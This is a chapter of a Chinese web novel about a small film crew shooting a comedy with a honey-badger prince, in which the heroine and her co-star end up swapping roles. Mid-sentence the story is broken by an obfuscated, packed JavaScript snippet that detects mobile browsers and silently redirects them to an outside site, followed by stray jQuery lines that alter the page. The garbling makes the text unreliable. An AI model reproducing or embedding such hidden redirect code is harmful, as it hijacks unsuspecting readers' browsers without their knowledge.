第一天的拍摄在兵荒马乱、人仰马翻中总算宣告结束。
时间已逼近深夜。
万幸的是。
团队不仅小,而且大家都住在申市的同一个大方向。
彼此距离还不算太远,不至于让这趟送人之旅变成环城马拉松。
仍旧是常营开车。
这位身兼数职的导演依次把几个人分别扔回了他们的住处。
颜炎看着窗外飞速掠过的、变得陌生的城市夜景,身体的每一个细胞都在叫嚣着疲惫。
但大脑深处却有一根弦还莫名紧绷着,无法彻底松弛下来。
直到目送常营的车尾灯在街角转弯,彻底消失在沉沉的夜色里。
她这才长长地、无声地吁出一口气。
转身,几乎是拖着已经快睁不开眼、走路都开始打晃的颜热。
一步一步挪回了自己的小公寓。
开门,开灯。
冷白的灯光瞬间倾泻而下。
照亮了这方小小的、暂时能隔绝外界一切风雨的天地。
颜热几乎是凭着本能摸到了客厅的沙发,刚一沾到垫子。
几乎是秒秒钟,如雷的鼾声就响了起来,沉重而富有节奏。
仿佛要将这一天的所有奔波和紧张都酣畅淋漓地睡出去。
可是,与此形成鲜明对比的是。
卧室里的颜炎,精神却异常清醒。
她躺在自己熟悉的床上,却是翻来覆去。
怎么也找不到一个能入睡的姿势。
白天的一幕幕一样在脑海里旋转:
罗艾精明的眼神、常营油滑又务实的工作风格、庄文对着镜子上妆的专注侧脸、小白举着录音杆微微颤抖的胳膊、还有颜热那永远写满“我错了但下次还敢”的脸……
“反正也睡不着,神经亢奋过度了…”
她盯着天花板上模糊的光影,自言自语地嘀咕。
“要么再熟悉一下明天的拍摄内容?省得现场抓瞎,压力更大。”
这么想着。
颜炎便认命般地半坐起来,靠在了床头,伸手拧开了床头的台灯。
柔和的光线驱散了一小片黑暗。
她探身从扔在椅子上的包里,摸出了那份已经几乎快被翻破的剧本。
剧本封面上。
《我的王子是蜜獾》四个字被设计得张牙舞爪,加黑加粗。
“蜜獾。”
颜炎的指尖无意识地划过那两个字,回忆起颜热曾经两眼放光、喋不休的介绍。
“平头哥…被吉尼斯世界纪录大全收录为‘世界上最无所畏惧的动物’…”
她无奈地摇摇头。
嘴角却不由自主地牵起一丝极淡的、连自己都没察觉到的笑意。
翻开剧本,上面还有白天用笔匆忙记下的笔记和划出的重点。
颜炎阅读着那一段段粗看荒诞搞笑、细看却莫名透着点愣头青式热血的剧情。
不知是不是身体过度疲惫后反而引发了精神上的幻觉,或者被是这个角色本身的莽撞劲儿悄悄给感染了。
颜炎的脑海中,那熟悉的小剧场竟然又一次不受控制地、自顾自地拉开了帷幕。
只是,这一次,剧场中央那个顶着蜜獾脑袋、一副“生死看淡不服就干”模样的王子。
它的身影似乎渐渐模糊,而后清晰地幻化成了她自己的样子。
颜炎仿佛正透过蜜獾的眼睛,看着剧情中的世界。
......
【画面切入】
蜜獾王子在异能尚未完全觉醒、被迫蛰伏流浪的日子里,需要不停地躲避丛林与城市废墟中各种凶恶的敌人
——阴冷的毒蛇、成群结队聒噪的鬣狗、当然还有那只优雅而致命的花豹。
期间挨饿、受伤、中毒更是家常便饭,常常是旧伤未愈又添新伤,狼狈不堪。
(画面与现实思绪交织):这多像是现在的她——
要面对律所冷酷的裁员通知、投资人罗艾步步紧逼的债务、还有那个虽然极不靠谱经常添堵但至少也算是在努力干活的弟弟颜热。
四面八方都是压力,每走一步都得小心翼翼,生怕行差踏错。
但是,渐渐地。
在一次次的追击与逃亡中,蜜獾王子开始发生变化,微弱的异能不断积累、觉醒。
它不再一味逃跑,开始尝试斗争,甚至瞅准机会笨拙却凶狠地回击。
(画外音/内心OS,带着一丝疲惫的恍然):
蜜獾天生皮毛与肌肉分离,即使被强大的对手咬住,厚实松弛的皮肤也很难被利齿穿透至真正要害。
而且它还能通过这独特的生理结构大幅扭转身体,实现惊人的反制,让对手措手不及。
蜜獾的血液里存在着基因突变,可以中和抵抗多种蛇类的致命毒液,在硬扛过剧烈痛苦的中毒反应后,甚至还能把那条差点要了它命的对手…给炫了。
(镜头的最后,定格在蜜獾—或者说是颜炎,那混合着疲惫、倔强和一丝凶狠的眼神特写上。)
......
第二天清晨,五点。
手机闹钟那尖锐又持之以恒的铃声刚一响起。
几乎是在同一刹那。
颜炎就像是被弹簧从床上弹射起来,没有丝毫拖泥带水。
她冲进客厅,对着沙发上还在流口水、鼾声轻微的颜热。
不轻不重地踹了一下沙发脚。
“起来!十分钟内洗漱完出门!”
二十多分钟后,
两人已经各顶着一头睡姿压出的、乱糟糟的头发,嘴里机械地叼着片干巴巴的全麦面包。
像两尊迷茫的雕像,站在了清晨清冷的小公寓楼下。
晨风带着未散的凉意。
吹得颜炎一个激灵,面包屑差点呛进嗓子眼。
几乎就在他们站定的同时。
一辆七座车精准地滑到他们面前。
驾驶座的车窗降下,露出常营那张胡子拉碷的脸。
“喲,没想到啊。”
他嘴里声音带着点早起特有的沙哑和调侃。
“你们俩比约定的时间还提早了不少。”
“我还以为到了地儿得打好几个电话,才能把你们从床上抠下来呢。”
颜炎白了他一眼,没接话。
拉开车门把还在懵懂状态的颜热塞了进去,自己也跟着钻上车。
得益于出发得早,成功避开了早高峰的可怕洪流。
车子一路畅通无阻地驶向市郊。
窗外的景象从密集的楼宇逐渐变得稀疏。
最后停在了那栋熟悉的、半废弃的厂房前。
阳光刚好越过厂房屋顶,照亮空气中飞舞的细小尘埃。
几人鱼贯而入,厂房里还残留着昨天匆忙布置后的痕迹。
常营也不废话,从他那多功能摄影马甲的大口袋里掏出皱巴巴的剧本,手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513246|186180||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
指在上点了点。
“好了,颜炎,庄文,你俩先过来对对戏,找找感觉。我先看看……”
他目光在纸面上扫巡。
“就这段吧,蜜獾王子刚失去异能,初来乍到,被不长眼的配角欺负的戏。”
十分钟后。
常营抱着胳膊站在原地,眉头拧成了一个深刻的“川”字。
脸上的表情复杂得难以言说,仿佛刚生吞了什么难吃的食物,又被迫保持微笑。
“呃……那个……”
他摸了摸鼻子,眼神飘忽。
“要不,咱们换一段试试?换点有爆发力的。”
他快速翻动剧本,手指猛地一停。
“就这段!蜜獾王子异能初步觉醒,压抑已久的怒火爆发,痛快反击,把之前欺负他的配角狠狠打脸!”
又过了十分钟。
常营默默地抬起手,用力抹了一把脸。
仿佛想借此擦掉眼前的困扰。
他朝站在空地中央、气氛有些微妙的颜炎和庄文招了招手。
“来来来,你俩过来。”
常营先看向庄文,努力让语气听起来像循循善诱。
“庄文啊,你先说说,你是怎么理解这个主角,前期和后期这种巨大变化的?”
庄文脸上露出明显的困惑,眨了眨眼。
“额……不就是前期比较弱小,所以得隐忍,被欺负。”
“后期强大起来了,就要复仇,把场子找回来吗?”
他的表情仿佛在说:这难道不是标准答案吗?
常营不置可否地“嗯”了一声,目光转向颜炎。
“那你呢?颜炎,你怎么看?”
颜炎闻言,下意识地抬手扒拉了一下自己那头本就蓬松的卷发,让它看起来更乱了点。
她思考了几秒,开口道。
“这剧本我来来回回也看过好几遍了。”
“我就觉着吧,这蜜獾王子,就算顶了个外星王子的头衔,他骨子里、本质上,他不还是只蜜獾吗?”
颜炎顿了顿,看向常营和庄文,眼神认真。
“所以我觉得,不管是前期看似憋屈地被配角打脸,还是后期爽快地打回去。”
“最关键的,不是弱弱强强,而是蜜獾那种‘生死看淡,不服就干’的…呃,劲头。
“只是不同阶段,‘干’的方式和结果不一样而已。”
“对啊!就是这个‘不服’!要的就是这个劲儿!”
常营猛地一拍大腿,声音都拔高了几度,脸上那种难以言说的表情瞬间被豁然开朗所取代,“庄文,你演的是‘不服’,不是‘记仇’!气势!重点是那股子气势!”
然而,又试了几次后。
情况依旧诡异。
庄文饰演的“觉醒蜜獾”气势没见长进。
眼神依旧清澈又无辜,挥出的拳头软绵绵像在撒娇。
反倒是对面饰演欺负人的配角的颜炎,气势越来越嚣张跋扈。
那句“你过来啊”的台词被喊得杀气腾腾,仿佛她才是那个要来逆袭的龙傲天本天。
常营痛苦地一捧脑袋,手指插进乱发里。
看着场地中央那完全颠倒的气场,终于忍无可忍地哀嚎道。
“我觉得,要不你俩干脆对换角色算了!让颜炎演蜜獾王子,庄文你去演那个嚣张配角!”“否则再这么下去,我们这龙傲天复仇记的男主,就快被逼成风中摇曳的小白花了!”